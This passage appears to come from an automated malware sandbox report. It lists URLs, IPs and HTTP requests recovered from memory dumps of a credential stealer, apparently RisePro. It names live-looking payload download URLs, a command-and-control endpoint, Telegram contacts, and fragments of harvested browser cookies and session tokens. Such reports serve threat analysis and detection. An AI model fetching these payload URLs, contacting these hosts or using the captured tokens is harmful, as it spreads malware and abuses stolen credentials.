"ttp://185.215.113.68/theme/Plugins/clip64.dll", Potential IP "185.215.113.68" found in string "http://185.215.113.68/theme/Plugins/clip64.dll", Potential IP "109.107.182.3" found in string "Host: 109.107.182.3", Potential IP "185.215.113.68" found in string "Host: 185.215.113.68", Potential IP "109.107.182.3" found in string "/109.107.182.3/lego/rdx1122.exe", Potential IP "109.107.182.3" found in string "http://109.107.182.3/l", Potential IP "185.215.113.68" found in string "185.215.113.68/theme/Plugins/clip64.dll", "3.182.107.109", "68.113.215.185", Potential IP "109.107.182.3" found in string "http://109.107.182.3/", "9.107.182.3", Potential IP "109.107.182.3" found in string "ttp://109.107.182.3/lego/rdxx1.exe", Potential IP "185.215.113.68" found in string "ttp://185.215.113.68/", "1.0.0.3", "1.0.0.0", Potential IP "185.215.113.68" found in string "http://185.215.113.68/", Potential IP "109.107.182.3" found in string "http://109.107.182.3/lego/rdxx1.exe", "120.1.61.120", "193.233.132.62:50500"56:T1b13,Pattern match: "https://www.youtube.com/" Pattern match: "https://www.facebook.com/login" Pattern match: "https://accounts.google.com" Pattern match: "https://accounts.google.com/" Pattern match: "https://www.youtube.com" Heuristic match: "RQG.sM" Heuristic match: ")$&.hT" Heuristic match: "\$.mz" Heuristic match: "aY.sG" Pattern match: "support.mozilla.org/en-US/products/firefoxgro.allizom.troppus.InZDa42Ct3F8+https://app.vssps.visualstudio.com/_signin?realm=my.visualstudio.com&reply_to=https%3A%2F%2Fmy.visualstudio.com%2FBenefits%3Fwt.mc_id%3Do~msft~vscom~nav%26campaign%3Do~msft~vscom~na" Pattern match: "8vUumicrosoft.comMUID12a11495-8216-468c-b4ef-91a01564edd7.microsoft.com/_q1,9microsoft.comthx_guid459f7c585ccc4e1bae96039138b93fdevlscppe.microsoft.com/dq1,9visualstudio.comFedAuth1d01NazVCRm1HU0NFTjZ5bFNFbEZqaFk4cXAvdWtaRGFtWUtLNTJHRHRRWnVnYWJPWkg0RHYrYUN" Pattern match: "learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?view=msvc-170Latest" Pattern match: "search.yahoo.com/favicon.icohttps://search.yahoo.com/search{google:pathWildcard}?ei={inputEncoding}&fr=crmas_sfp&p={searchTerms}UTF-8https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command={searchTerms}485bf7d3-0215-45af-87dc-53886800000" Pattern match: "www.clarity.msCLIDv10" Pattern match: "https://t.me/RiseProSUPPORT" Pattern match: "www.clarity.msTRUE/TRUE1700603814CLIDENC893*_djEwXezimZY+UCtv72pFXMe91KqF7G3hkI4VyS6rMKN9PUGaPD4or63nWxLdr7DdICVLVRb4xHwTfS/unwiEtQEkfMoepLq5owBtG89DfjZo_tB9T/XyR7rQWd8i0MVB6px2KjfP0LeViW311oWMiuEI=*.clarity.msFALSE/TRUE1702763814MUIDENC893*_djEwVPUakzOAqR" Pattern match: "https://t.me/risepro_bot" Pattern match: "notepad-plus-plus.org/downloads/v8.4.7/C:\Users\HAPUBWS\Downloads\npp.8.4.7.portable.x64.ziphttps://notepad-plus-plus.org/downloads/v8.4.7/C:\Users\HAPUBWS\Downloads\VC_redist.x86.exehttps://learn.microsoft.com/en-us/cpp/windows/latest-supported-vc-redist?" Heuristic match: "accounts.google.com" Heuristic match: "arc.msn.com" Heuristic match: "c.msn.com" Heuristic match: "cm.mgid.com" Heuristic match: "code.yengo.com" Heuristic match: "connect.facebook.net" Heuristic match: "deff.nelreports.net" Heuristic match: "eb2.3lift.com" Heuristic match: "ecn-us.dev.virtualearth.net" Heuristic match: "facebook.com" Heuristic match: "fbcdn.net" Heuristic match: "fbsbx.com" Heuristic match: "fonts.googleapis.com" Heuristic match: "fonts.gstatic.com" Heuristic match: "hbx.media.net" Heuristic match: "i.ytimg.com" Heuristic match: "ib.adnxs.com" Heuristic match: "id5-sync.com" Heuristic match: "ipinfo.io" Heuristic match: "m.adnxs.com" Heuristic match: "play.google.com" Heuristic match: "pr-bh.ybp.yahoo.com" Heuristic match: "r.bing.com" Heuristic match: "sb.scorecardresearch.com" Heuristic match: "static.xx.fbcdn.net" Heuristic match: "sync.inmobi.com" Heuristic match: "sync.outbrain.com" Heuristic match: "trace.mediago.io" Heuristic match: "trace.popin.cc" Heuristic match: "trc.taboola.com" Heuristic match: "visitor.omnitagjs.com" Pattern match: "www.bing.com" Pattern match: "www.facebook.com" Pattern match: "www.google.com" Pattern match: "www.gstatic.com" Pattern match: "www.youtube.com" Pattern match: "https://accounts.google.com/v3/signin/" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.b__KxWdSqpg.L.B1.O/am=P8BGEhwLgMDMcpq_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/ed=1/rs=AOaEmlFxNRjmJwbNiWzCCBxIi0ps2KL_5A/m=identifierview,_b,_tp" Pattern match: "fonts.gstatic.com/s/productsans/v9/pxiDypQkot1TnFhsFMOfGShVGdeOYktMqlap.woff2" Pattern match: "https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.6V3Q3vQr5no.es5.O/am=P8BGEhwLgMDMcpq_Z5wcBgAAAAAAAAAAWAPYAQ/d=1/excm=_b,_tp,identifierview/ed=1/dg=0/wt=2/ujg=1/rs=AOaEmlGkEcsLXPkEekERJnkeWgbZNyC3fQ/m=_b,_tp" Pattern match: "fonts.gstatic.com/s/roboto/v18/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2" Pattern match: "https://accounts.google.com/AccountChooser?continue\u003dhttps://accounts.google.com/\u0026followup\u003dhttps://accounts.google.com/],[null,[null,null,https://accounts.google.com/Logout?continue\u003dhttps://accounts.google.com/restart?continue%3Dhttps:" Pattern match: "www.youtube.com\//g" Pattern match: "https://www.youtube.com/error_204?t=jserror&level=ERROR" Pattern match: "https://www.youtube.com/s/desktop/6148f390/img/favicon.ico" Pattern match: "https://i.ytimg.com/generate_204" Pattern match: "https://www.youtube.com/s/desktop/6148f390/jsbin/scheduler.vflset/scheduler.js" Pattern match: "https://www.youtube.com/s/desktop/6148f390/jsbin/network.vflset/network.js" Pattern match: "https://www.youtube.com/s/desktop/6148f390/cssbin/www-main-desktop-watch-page-skeleton.css" Pattern match: "https://ipinfo.io/" Heuristic match: "%TEMP%\jobA3OpGWreR7plfwx\Games\Battle.net" Pattern match: "http://109.107.182.3/lego/rdx1122.exe" Pattern match: "http://185.215.113.68/theme/index.php" Pattern match: "http://185.215.113.68/\Microsoft\Windows\INetCache\IE" Pattern match: "http://www.w3.org/2001/XMLSchema-instance" Pattern match: "http://185.215.113.68/theme/Plugins/clip64.dll" Pattern match: "http://109.107.18" Pattern match: "http://109.107.182.3/l" Pattern match: "http://109.107.182.3/" Pattern match: "http://185.215.113.68/" Pattern match: "www.digicert.com1$0" Pattern match: "www.digicert.com1!0" Pattern match: "http://ocsp.digicert.com0C" Pattern match: "cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E" Pattern match: "crl3.digicert.com/DigiCertAssuredIDRootCA.crl0" Pattern match: "http://ocsp.digicert.com0A" Pattern match: "cacerts.digicert.com/DigiCertTrustedRootG4.crt0C" Pattern match: "crl3.digicert.com/DigiCertTrustedRootG4.crl0" Pattern match: "crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0" Pattern match: "http://ocsp.digicert.com0X" Pattern match: "cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0" Pattern match: "crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S" Pattern match: "crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0" Pattern match: "http://www.digicert.com/CPS0" Pattern match: "http://ocsp.digicert.com0\" Pattern match: "cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0" Pattern match: "http://109.107.182.3/lego/rdxx1.exe" Heuristic match: "ystem.ActivityHistory.Id" Heuristic match: "ystem.AppUserModel.ID" Heuristic match: "ystem.IdentityProvider.Name" Heuristic match: "ystem.Protocol.Name" Heuristic match: "ystem.SAM.Name" Heuristic match: "ystem.StructuredQuery.Is" Heuristic match: "ystem.StructuredQuery.Virtual.Cc" Heuristic match: "ystem.StructuredQuery.Virtual.To" Heuristic match: ",^'.zW" Pattern match: "https://www.maxmind.com/en/locate-my-ip-address" Pattern match: "http://www.winimage.com/zLibDll" Heuristic match: "^^.AW"57:T471a,Found URL "http://109.107.182.3/lego/rdx1122.exe109.107.182.3/lego/rdx1122.exedesktop-fvvf82a192.168.243.12001:0:34f1:8072:3036:261c:3f57:cfeb+ncalrpc:[ole1045951c2e8c9d29f15d9ed6beab]t" - Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.php185.215.113.68/theme/index.php09.107.182.309.107.182.385.215.113.6885.215.113.6809.107.182.385.215.113.68:\share82.3:\vxstream09.107.182.309.107.182.385.215.113.6809.107.182.3109.107.182.309.107.182.309.107.182.385.215.113.68device\mup\:\analysis09.107.182.385.215.113.6813.6885.215.113.6885.215.113.68xplorhe.exe85.215.113.68safd" - Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp") Found URL "http://185.215.113.68/\microsoft\windows\inetcache\ierpc-d11c0cf271dd71e1b9rpc-ddf15d11f5c74125afrpc-ddf15d11f5c74125afrpc-ddf15d11f5c74125afrpc-ddf15d11f5c74125afrpc-d11c0cf271dd71e1b9rpc-ddf15d11f5c74125af185.215.113.68rpc-ddf15d11f5c74125afrpc-ddf15d11f5c74125afrpc-ddf15d11f5c74125af\microsoft\wins\zones\httphttpsfile@ivtshellknownfolder:\users\hapubws\appdata\roaming??\c:\windows\system32\mswsock.dll??\c:\windows\system32\wshqos.dll??\c:\windows\system32\wshqos.dll:\users\hapubws\appdata\roaming??\c:\windows\system32\wshqos.dll:\users\hapubws\appdata\roamingem32\wshqos.dllem32\mswsock.dllhyper-v" - Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.phpc:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\9sspaw46\rdx1122[1].exec:3f57:cfeb+ncalrpc:[ole1045951c2e8c9d29f15d9ed6beab]t" - Source: "00000000-00004036.00000001.70585.035F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004036.00000001.70585.035F0000.00000004.mdmp") Found URL "http://1lego/rd9.107.182.3x1.exeers\hapubws\appl\microsoftcache\ioowyy\r:\users\hapubwsusershapubwsecorded" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.phpile" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.phpicrosoft\windows\accountpicturesttp://109.107.182.3/lego/rdxx1.exeappdataicrosoft\windows\roamedtileimages:\users\hapubws\appdata\local\temp:\users\hapubws\links\desktop.ini:\users\hapubws\appdata\local\tempicrosoft\windows\start" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.phplocalvs_version_infovarfileinfotranslationstringfileinfo000004b0commentsregistration" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://109.107.182.3/lego/rdx1122.exee672242e6722427thxvhttp://109.107.182.3/lego/rdx1122.exe8sh_ginetaaaaprxyzzzzh9basyc:\h@?" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.php'dhbfiv" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.phpasychttp://185.215.113.68/theme/index.php00666001\rdxx1.exehttp://185.215.113.68/theme/index.php=rr9spwjusershapubwsappdatalocaltemp1000666001usershapubwsappdatalocaltemp1000664001185.215.113.6868.113.215.185185.215.113.6868.113.215.18568.113.215.18568.113.215.185185.215.113.68185.215.113.6868.113.215.185185.215.113.68185.215.113.68185.215.113.6868.113.215.1851000666001+++b5937c1a99d5f9dd0a4ab5c84e67224276af1da897dda2ecfdfbd97b8a591df056fc49" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://185.215.113.68/rdxx1.exev" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.phphttp://185.215.113.68/theme/index.phphttp://185.215.113.68/theme/index.php)" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0e>0<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0:" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crl0http://ocsp.digicert.com0xlhttp://cacerts.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crt0xw70iq,xcu" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0smhttp://crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0>705030)0'http://www.digicert.com/cps0http://ocsp.digicert.com0\phttp://cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://109.107.182.3/lego/rdxx1.exe84e67224content-type:" - Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.phpc:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\9sspaw46\rdx1122[1].exec:3f57:cfeb+ncalrpc:[ole1045951c2e8c9d29f15d9ed6beab]t" - Source: "00000000-00004036.00000002.72505.035F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004036.00000002.72505.035F0000.00000004.mdmp") Found URL "http://1lego/rd9.107.182.3x1.exeers\hapubws\appl\microsoftcache\ioowyy\r:\users\hapubwsusershapubwsecorded" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.phpile" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.phpicrosoft\windows\accountpicturesttp://109.107.182.3/lego/rdxx1.exeappdataicrosoft\windows\roamedtileimages:\users\hapubws\appdata\local\temp:\users\hapubws\links\desktop.ini:\users\hapubws\appdata\local\tempicrosoft\windows\start" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.phplocalvs_version_infovarfileinfotranslationstringfileinfo000004b0commentsregistration" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://109.107.182.3/lego/rdx1122.exee672242e6722427thxvhttp://109.107.182.3/lego/rdx1122.exe8sh_ginetaaaaprxyzzzzh9basyc:\h@?" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.phphttp://185.215.113.68/theme/index.phpiv" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.phpasychttp://185.215.113.68/theme/index.php00666001\rdxx1.exehttp://185.215.113.68/theme/index.php=rr9spwjusershapubwsappdatalocaltemp1000666001usershapubwsappdatalocaltemp100066400168.113.215.185185.215.113.68185.215.113.68185.215.113.68185.215.113.6868.113.215.185185.215.113.6868.113.215.185185.215.113.6868.113.215.18568.113.215.185185.215.113.68185.215.113.6868.113.215.18568.113.215.185185.215.113.6868.113.215.185185.215.113.681000666001+++b5937c1a99d5f9dd0a4ab5c84e67224276af1da897dda2ecfdfbd97b8a591df056fc49" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://185.215.113.68/rdxx1.exev" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://185.215.113.68/theme/index.phphttp://185.215.113.68/theme/index.php)" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0e>0<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0:" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crl0http://ocsp.digicert.com0xlhttp://cacerts.digicert.com/digicerttrustedg4rsa4096sha256timestampingca.crt0xw70iq,xcu" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0smhttp://crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0>705030)0'http://www.digicert.com/cps0http://ocsp.digicert.com0\phttp://cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "http://109.107.182.3/lego/rdxx1.exe84e67224content-type:" - Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found URL "https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressauthorization:" - Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found URL "http://www.winimage.com/zlibdllherfqq2lyf8x5[x]tiulm:.p)q+e4" - Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006224.00000000.68161.035F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006352.00000000.69146.02EF0000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportandscgscolhearpandscgscoldinhearocalsettingoverridedisableonaccessprotectionettingescheckscaocalsettingoverridedisableonaccessprotectionettingescheuicksca" - Source: "00000000-00006352.00000000.69146.04EE0000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00006352.00000000.69146.71921000.00000020.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00006352.00000000.69146.71921000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllpconfigut-53e7e780-2330-40c6-94c6-be75e946e933software\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00006352.00000000.69146.71921000.00000020.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00006352.00000000.69146.72C81000.00000020.mdmp") Found URL "https://www.facebook.com/loginhttps://accounts.google.com/https://accounts.google.com/:\program" - Source: "00000000-00007248.00000000.67579.03020000.00000004.mdmp") Found URL "https://accounts.google.com/:\program" - Source: "00000000-00007248.00000000.67579.03020000.00000004.mdmp") Found URL "https://accounts.google.com/:\windows\system32\windows.ui.appdefaults.dllhttps://accounts.google.com/t=c:\windowstemp=c:mdlinerawlinerawystemdrive=c:dowsiscanbuffercript" - Source: "00000000-00007248.00000000.67579.03020000.00000004.mdmp") Found URL "https://www.youtube.com/serdomain_roamingprofile=desktop-fvvf82a1d522649" - Source: "00000000-00007248.00000000.67579.03020000.00000004.mdmp") Found URL "https://accounts.google.com/https://accounts.google.com/https://accounts.google.com/https://accounts.google.com/https://accounts.google.com/:\windows\system32\netapi32.dllshist012023082320230824:\windows\system32\setupapi.dllicrosoftedge_ieflipahead::\windows\system32\netutils.dll??\c:\program" - Source: "00000000-00007248.00000000.67579.03020000.00000004.mdmp") Found URL "https://www.youtube.com/:\windows\system32\secur32.dllicrosoftedge_iecompat::\windows\system32\edputil.dllhttps://www.youtube.com/https://www.youtube.com/:\windows\syswow64\ieframe.dll:\users\hapubws\appdata\localicrosoft" - Source: "00000000-00007248.00000000.67579.03020000.00000004.mdmp") Found URL "https://www.youtube.com/:\windows\system32\samcli.dllle4de8df8f678b6230f8da2352eec3ateprocessesexwionw:\windows\system32\bcrypt.dllhellservicehostbrokerprovider:\windows\system32\ieframe.dll:\windows\system32\urlmon.dllle4de8df8f678b6230f8da2352eec3:\windows\system32\wkscli.dll:\windows\syswow64\ieframe.dll:\windows\syswow64\ieframe.dll:\windows\system32\propsys.dll_classes\wow6432node\clsid\" - Source: "00000000-00007248.00000000.67579.03020000.00000004.mdmp") Found URL "https://www.facebook.com/login??\c:\program" - Source: "00000000-00007248.00000000.67579.03020000.00000004.mdmp") Found URL "https://accounts.google.com/ttpss-1-5-21-735145574-3570218355-1207367261-1001\?\volume" - Source: "00000000-00007248.00000000.67579.03020000.00000004.mdmp") Found URL "https://www.facebook.com/login:\users\hapubws\appdata\local\temp\joba4opgwrer7plfwx:\users\hapubws\appdata\local\temp\joba4opgwrer7plfwx:\users\hapubws\appdata\local\temp\joba4opgwrer7plfwx:\users\hapubws\appdata\local\temp\joba4opgwrer7plfwx??\c:\program" - Source: "00000000-00007248.00000000.67579.03020000.00000004.mdmp") Found URL "https://accounts.google.com/nitiatesystemshutdownexwe.dll:\windows\system32\wkscli.dllttps://accounts.google.com/ttps://accounts.google.com/:\windows\system32\sfc_os.dllttps://accounts.google.com/ttps://accounts.google.com/tsstartremotecontrolsessionanitiatesystemshutdownexa.dll:\windows\system32\ieframe.dll:\windows\syswow64\ieframe.dll:\windows\system32\samcli.dllttps://accounts.google.com/d.exe145574-clsid\" - Source: "00000000-00007248.00000000.67579.03020000.00000004.mdmp") Found URL "https://accounts.google.com/tware\classes\appx90nv6nhay5n6a98fnetv7tpk64pp35es\shellregistry\machine\software\classes\appx90nv6nhay5n6a98fnetv7tpk64pp35es\shell\openregistry\machine\software\classes\appx90nv6nhay5n6a98fnetv7tpk64pp35es\shell\openers\hapubws\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00007248.00000000.67579.03020000.00000004.mdmp") Found URL "https://accounts.google.com/c:\program" - Source: "00000000-00007248.00000000.67579.03020000.00000004.mdmp") Found URL "https://accounts.google.comusershapubwsmusic:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.16299.248_none_5d7c08dba7db7edd\comctl32.dll:\users\hapubws\appdata\roaming\microsoft\windows\start" - Source: "00000000-00007248.00000001.69498.03020000.00000004.mdmp") Found URL "http://lineupinedownwiztitleregistry\user\s-1-5-21-735145574-3570218355-1207367261-1001_classes\wow6432node\clsid\" - Source: "00000000-00007248.00000001.69498.030F5000.00000004.mdmp") Found URL "http://secondarypaneldialogscrollerradiobuttonareaverificationareaverificationtextexpandobuttonaskdialogrootmagealignmentwrappermagealignmentwrapperseparatorlinemaininstructionfootnotetextlinknineclientsysmetric," - Source: "00000000-00007248.00000001.69498.030F5000.00000004.mdmp") Found URL "https://accounts.google.comusershapubwsmusic:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.16299.248_none_5d7c08dba7db7edd\comctl32.dll:\users\hapubws\appdata\roaming\microsoft\windows\start" - Source: "00000000-00007248.00000002.71417.03020000.00000004.mdmp") Found URL "http://lineupinedownwiztitleregistry\user\s-1-5-21-735145574-3570218355-1207367261-1001_classes\wow6432node\clsid\" - Source: "00000000-00007248.00000002.71417.030F5000.00000004.mdmp") Found URL "http://secondarypaneldialogscrollerradiobuttonareaverificationareaverificationtextexpandobuttonaskdialogrootmagealignmentwrappermagealignmentwrapperseparatorlinemaininstructionfootnotetextlinkstry\machine\software\classes\clsid\" - Source: "00000000-00007248.00000002.71417.030F5000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007512.00000000.67853.02E30000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007764.00000000.66577.00D30000.00000004.mdmp") Found URL "https://ipinfo.io/https://www.maxmind.com/en/locate-my-ip-addressauthorization:" - Source: "00000000-00007764.00000000.66577.01141000.00000040.mdmp") Found URL "http://www.winimage.com/zlibdllherfqq2lyf8x5[x]tiulm:.p)q+e4" - Source: "00000000-00007764.00000000.66577.01141000.00000040.mdmp")58:T823,Found string "GET /lego/rdx1122.exe HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp") Found string "GET /lego/rdx1122.exe HTTP/1.1l" (Indicator: "HTTP/1.1"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp") Found string "Host109.107.182.3GET /lego/rdx1122.exe HTTP/1.1/lego/rdx1122.exe" (Indicator: "HTTP/1.1"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp") Found string "POST /theme/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found string "GET /theme/Plugins/clip64.dll HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp") Found string "Host185.215.113.68GET /theme/Plugins/clip64.dll HTTP/1.1/theme/Plugins/clip64.dll" (Indicator: "HTTP/1.1"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp") Found string "HTTP/1.1 200 OK" (Indicator: "HTTP/1.1"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.035F0000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found string "POST /theme/index.php HTTP/1.1g" (Indicator: "HTTP/1.1"; Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found string "107.182.3GET /lego/rdxx1.exe HTTP/1.1/lego/rdxx1.exe" (Indicator: "HTTP/1.1"; Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp") Found string "eme/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found string "Content-Length176POST /theme/index.php HTTP/1.1" (Indicator: "HTTP/1.1"; Source: "00000000-00004036.00000002.72505.03633000.00000004.mdmp")59:T40e,Observed import api "WNetAddConnection" which can "makes a connection to a network resource" [Source: ko_1_.exe] Observed import api "WNetCancelConnection" which can "cancels an existing network connection" [Source: ko_1_.exe] Observed import api "WNetGetConnection" which can "retrieves the name of the network resource associated with a local device" [Source: ko_1_.exe] Observed import api "WNetUseConnection" which can "makes a connection to a network resource" [Source: ko_1_.exe] Observed import api "WNetAddConnection" which can "makes a connection to a network resource" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "WNetCancelConnection" which can "cancels an existing network connection" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "WNetGetConnection" which can "retrieves the name of the network resource associated with a local device" [Source: 9Ctcn6an256JgA0A8CaB.exe] Observed import api "WNetUseConnection" which can "makes a 